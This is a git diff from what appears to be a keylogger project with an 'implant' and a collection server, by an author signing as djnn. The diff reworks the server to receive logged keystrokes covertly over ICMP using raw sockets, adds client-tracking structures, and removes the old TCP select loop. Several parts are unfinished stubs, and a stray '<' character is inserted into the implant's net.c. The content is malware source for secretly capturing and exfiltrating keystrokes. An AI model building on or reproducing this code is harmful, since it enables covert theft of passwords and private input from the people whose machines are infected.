diff --git a/.gitignore b/.gitignore
@@ -2,3 +2,4 @@
*.txt
server/server
implant/mzp
+.idea
+\ No newline at end of file
diff --git a/implant/sources/logger.c b/implant/sources/logger.c
@@ -58,7 +58,7 @@ get_highest_fd(implant_t *instance) {
static char *
check_translated_key(char *key_desc) {
for (size_t ctr = 0; KEYS[ctr].description != NULL; ctr++) {
- if (!strcmp(KEYS[ctr].description, key_desc)) {
+ if (!strncmp(KEYS[ctr].description, key_desc, strlen(KEYS[ctr].description))) {
memset(key_desc, 0, STRING_BUFFER_SIZE);
key_desc[0] = KEYS[ctr].representation;
diff --git a/implant/sources/net.c b/implant/sources/net.c
@@ -1,4 +1,4 @@
-
+<
/*
this file holds all of the functions needed for communicating with the
remote server
diff --git a/server/compile_flags.txt b/server/compile_flags.txt
@@ -1 +0,0 @@
--Iincludes
diff --git a/server/includes/server.h b/server/includes/server.h
@@ -21,6 +21,11 @@
#endif
+
+#ifndef STATIC_IP_ADDR
+#define STATIC_IP_ADDR ("0.0.0.0")
+#endif
+
#include <sys/queue.h>
#include <sys/types.h>
#include <unistd.h>
@@ -41,22 +46,36 @@ typedef struct translated_key {
*/
typedef struct client_state client_t;
struct client_state {
- int sockfd;
+
+ /* if all client fields in server state are occupied,
+ * we remove the eldest client. When it pings again,
+ * we can remove another one
+ */
+ unsigned long last_ping_timestamp;
char current_buffer[STRING_BUFFER_SIZE];
ssize_t nb_bytes_in_buffer;
/* client metadata dumped in database */
- char uuid[STRING_BUFFER_SIZE];
- char name[STRING_BUFFER_SIZE];
char ipaddr[STRING_BUFFER_SIZE];
- char linux_version[STRING_BUFFER_SIZE];
char locale[STRING_BUFFER_SIZE];
TAILQ_ENTRY(client_state)
clients;
};
+#define IP_LENGTH (40)
+#define ICMP_DATA_LENGTH (128) /* should not exceed 9000 AFAIK (also should not exceed STRING_BUFFER_SIZE) */
+
+typedef struct icmp_packet {
+ char addr[IP_LENGTH];
+ int type;
+
+ char payload[ICMP_DATA_LENGTH];
+ ssize_t payload_size;
+} icmp_msg_t;
+
+
/* main server object */
typedef struct server_state {
@@ -64,8 +83,6 @@ typedef struct server_state {
TAILQ_HEAD(listhead, client_state)
clients;
- int fdsize;
-
struct user_options {
char const db_filepath[STRING_BUFFER_SIZE]; // .csv filepath
unsigned short listen_port;
@@ -87,11 +104,14 @@ typedef struct server_state {
#define KEY_PRESSED 1
#define KEY_RELEASED 0
+#define MTU (1472)
+
// net.c
int init_remote_connection(server_t *instance);
+int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg);
// lexxer.c
-int parse_cli_arguments(server_t *instance, int ac, char **av, char **envp);
+int parse_cli_arguments(server_t *instance, const int ac, char **av, char **envp);
// csv.c
int init_csv_dbfd(char const *filepath);
@@ -99,8 +119,6 @@ int init_csv_dbfd(char const *filepath);
// loop.c
void loop(server_t *instance);
int should_gracefully_exit(int code);
-int get_fd_size(void);
-void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance);
-int check_new_connections(server_t *instance);
+
#endif /* SERVER_H */
diff --git a/server/sources/csv.c b/server/sources/csv.c
@@ -5,9 +5,6 @@ TODO:
- add optional support for sqlite (maybe at compile-time) with an option
- build little abstraction that will call the under-layered functions
underneath
-
- simple layout will be:
- uuid, name, ip-addr, linux-version, locale, dump
*/
#include <fcntl.h>
diff --git a/server/sources/lexxer.c b/server/sources/lexxer.c
@@ -24,7 +24,7 @@ get_help(const char *bin_name) {
printf("\n\nwritten with <3 by djnn -- https://djnn.sh\n");
}
-int parse_cli_arguments(server_t *instance, int ac, char **av, __attribute__((unused)) char **envp) {
+int parse_cli_arguments(server_t *instance, const int ac, char **av, __attribute__((unused)) char **envp) {
int c = 0;
int opt_idx = 0;
diff --git a/server/sources/loop.c b/server/sources/loop.c
@@ -14,88 +14,54 @@
#include <unistd.h>
#include "server.h"
-/*
- - call select() to know which available (net) sockets are ready to
- do something
- - accept incoming connections if any & assign new socket for each
- - read from all available sockets
- - if new keys are dumped, lets get xkbcontext & read the new keys
- - check which items are to be stored in database
- - store it by bulk updates
- -> if anything fucks up at any point just trigger cleanup routine
-*/
-void loop(server_t *instance) {
- fd_set rs;
- fd_set ws;
- fd_set es;
- struct timeval timeout = {
- .tv_usec = 5000,
- .tv_sec = 0};
+void loop(server_t *instance) {
int dbfd = init_csv_dbfd(instance->options.db_filepath);
- if (dbfd < 0)
+ if (dbfd < 0 && instance->options.db_filepath[0] != 0)
return;
- instance->fdsize = get_fd_size();
TAILQ_INIT(&instance->clients);
while (should_gracefully_exit(0)) {
- if (check_new_connections(instance) == -1)
- break;
-
- if (instance->fdsize == -1)
- break;
-
- fdset_setup(&ws, &rs, &es, instance);
- if (select(instance->fdsize, &rs, &ws, &es, &timeout) < 0) {
-#ifdef DEBUG
- DEBUG_LOG("select: %s", strerror(errno));
-#endif
- break;
+
+ icmp_msg_t msg = {0};
+
+ /* poll for new packet */
+ if (net_poll_icmp_recv(instance, &msg) < 0) {
+ goto CLEANUP_ROUTINE;
}
+ /* have we received a new message */
+ if (msg.addr[0] == 0) {
+ usleep(7500);
+ continue;
+ }
+
+ /* find related client in client-list, then update state */
client_t *it = NULL;
+ int found_client = 0;
TAILQ_FOREACH(it, &instance->clients, clients) {
-
- /*
- an error has happened, we should clean up the connection & dump
- last retrieved info to database
- */
- if (FD_ISSET(it->sockfd, &es)) {
- // csv_mark_for_next_dump(dbfd, it);
- close(it->sockfd);
- TAILQ_REMOVE(&instance->clients, it, clients);
+ if (strncmp(it->ipaddr, msg.addr, STRING_BUFFER_SIZE) == 0) {
+ /* update state ! */
+ found_client = 1;
}
+ }
+
+ /* no client found, find least active client & kick it. then, add it */
+ if (!found_client) {
}
+
}
-}
-void fdset_setup(fd_set *ws, fd_set *rs, fd_set *es, server_t *instance) {
- FD_ZERO(es);
- FD_ZERO(ws);
- FD_ZERO(rs);
+CLEANUP_ROUTINE:
- client_t *it = NULL;
- TAILQ_FOREACH(it, &instance->clients, clients) {
- FD_SET(it->sockfd, es);
- FD_SET(it->sockfd, ws);
- FD_SET(it->sockfd, rs);
- }
-}
+ /* TODO(djnn): dump all client state to database & close server */
-int should_gracefully_exit(int code) {
- static int should_exit = 0;
- if (code != 0 || should_exit) {
-#ifdef DEBUG
- DEBUG_LOG("[+] caught code: %d\n", code)
-#endif
- should_exit = 1;
- }
- return should_exit;
+ close(dbfd);
}
static void
@@ -103,94 +69,3 @@ sig_handler(int code) {
if (code == SIGINT)
should_gracefully_exit(code);
}
-
-int check_new_connections(server_t *instance) {
- fd_set rs, es;
- struct timeval timeout = {
- .tv_usec = 5000,
- .tv_sec = 0};
-
- FD_ZERO(&rs);
- FD_ZERO(&es);
-
- FD_SET(instance->sockfd, &rs);
- FD_SET(instance->sockfd, &es);
-
- /* only 1 socket */
- int status = select(2, &rs, NULL, &es, &timeout);
- if (status == -1 || FD_ISSET(instance->sockfd, &es)) {
-#ifdef DEBUG
- DEBUG_LOG("[+] select error: %s\n", strerror("select"));
-#endif
- return -1;
- } else if (status == 0) {
- return 0;
- }
-
- if (FD_ISSET(instance->sockfd, &es)) {
- /* add new connection to clients list */
-
- client_t *client = malloc(sizeof(client_t));
- if (!client) {
-#ifdef DEBUG
- DEBUG_LOG("[+] malloc error: %s\n", strerror("malloc"));
-#endif
- return -1;
- }
-
- memset(client, 0, sizeof(client_t));
- client->sockfd = accept(instance->sockfd, NULL, NULL);
- if (setsockopt(
- client->sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &(int){1},
- sizeof(int)) < 0) {
- return -1;
- }
-
- instance->fdsize = get_fd_size();
- TAILQ_INSERT_TAIL(&instance->clients, client, clients);
- }
-
- return 0;
-}
-
-int get_fd_size(void) {
-
- const char fdsize[] = "FDSize:";
- char buf[4096] = {0};
- int statfd = open("/proc/self/status", O_RDONLY);
-
- if (statfd < 0) {
-#ifdef DEBUG
- DEBUG_LOG("open statfd: %s", strerror(errno));
-#endif
-
- return -1;
- }
-
- const ssize_t num_read = read(statfd, buf, sizeof(buf) - 1);
- if (num_read <= 0) {
-#ifdef DEBUG
- DEBUG_LOG("read statfd: %s", strerror(errno));
-#endif
-
- return -1;
- }
-
- buf[num_read] = '\0';
- close(statfd);
-
- const char *fdsize_ptr = strstr(buf, fdsize_ptr);
- if (!fdsize_ptr)
- return 256;
-
- for (const char *char_ptr = fdsize_ptr + sizeof(fdsize) - 1; char_ptr <= buf + num_read; ++char_ptr) {
- if (isspace(*char_ptr))
- continue;
- else if (*char_ptr == 0)
- return 256;
-
- return atoi(char_ptr);
- }
-
- return 256;
-}
diff --git a/server/sources/main.c b/server/sources/main.c
@@ -2,7 +2,7 @@
#include <unistd.h>
#include "server.h"
-int main(int ac, char **av, char **envp) {
+int main(const int ac, char **av, char **envp) {
server_t srv = {0};
@@ -18,5 +18,6 @@ int main(int ac, char **av, char **envp) {
DEBUG_LOG("[+] socket initiated....preparing DB connection");
#endif
- srv.dbfd = init_csv_dbfd((char const *)srv.options.db_filepath);
+ loop(&srv);
+ return 0;
}
diff --git a/server/sources/net.c b/server/sources/net.c
@@ -6,6 +6,7 @@
#include <arpa/inet.h>
#include <netinet/in.h>
+#include <netinet/ip_icmp.h>
#include <sys/socket.h>
#include "server.h"
@@ -20,12 +21,15 @@ int init_remote_connection(server_t *instance) {
/*
creating initial socket...
+ we will transmit keys logged over ICMP protocol.
+ to parse ICMP packets, we must use RAW sockets & filter the packets ourselves :)
+
AF_INET -> remote connection (for local, use AF_UNIX)
SOCK_STREAM -> TCP connection (for UDP, use SOCK_DGRAM)
IPPROTO_TCP -> Specify protocol (for UDP, use IPPROTO_UDP)
*/
- int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd < 0) {
#ifdef DEBUG
@@ -40,11 +44,12 @@ int init_remote_connection(server_t *instance) {
int is_enabled = 1;
struct sockaddr_in addr = {.sin_family = AF_INET,
.sin_port = htons(instance->options.listen_port),
- .sin_addr.s_addr = inet_addr("0.0.0.0")};
+ .sin_addr.s_addr = inet_addr(STATIC_IP_ADDR)};
- /* setting socket options to make connection more convenient */
- if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
- (useful for testing) */
+ /* setting socket options to make connection more convenient
+ * allowing to reuse ADDR or PORT (useful for testing)
+ * */
+ if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT,
&is_enabled,
sizeof(int)) < 0) {
@@ -56,23 +61,33 @@ int init_remote_connection(server_t *instance) {
return -1;
}
- if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+ if (setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &is_enabled, sizeof(int)) < 0) {
#ifdef DEBUG
- DEBUG_LOG("connect: %s", strerror(errno));
+ DEBUG_LOG("setsockopt send_key_description (IP_HDRINCL): %s", strerror(errno));
#endif
close(sockfd);
return -1;
}
- if (listen(sockfd, MAX_NB_CLIENT) < 0) {
+ if (bind(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+
#ifdef DEBUG
- DEBUG_LOG("listen: %s", strerror(errno));
+ DEBUG_LOG("connect: %s", strerror(errno));
#endif
+ close(sockfd);
return -1;
}
return sockfd;
}
+
+int net_poll_icmp_recv(server_t *instance, icmp_msg_t *msg) {
+
+ struct sockaddr_in src_addr = {0};
+
+
+ return SUCCESSFUL;
+}
| | | | | | | | | |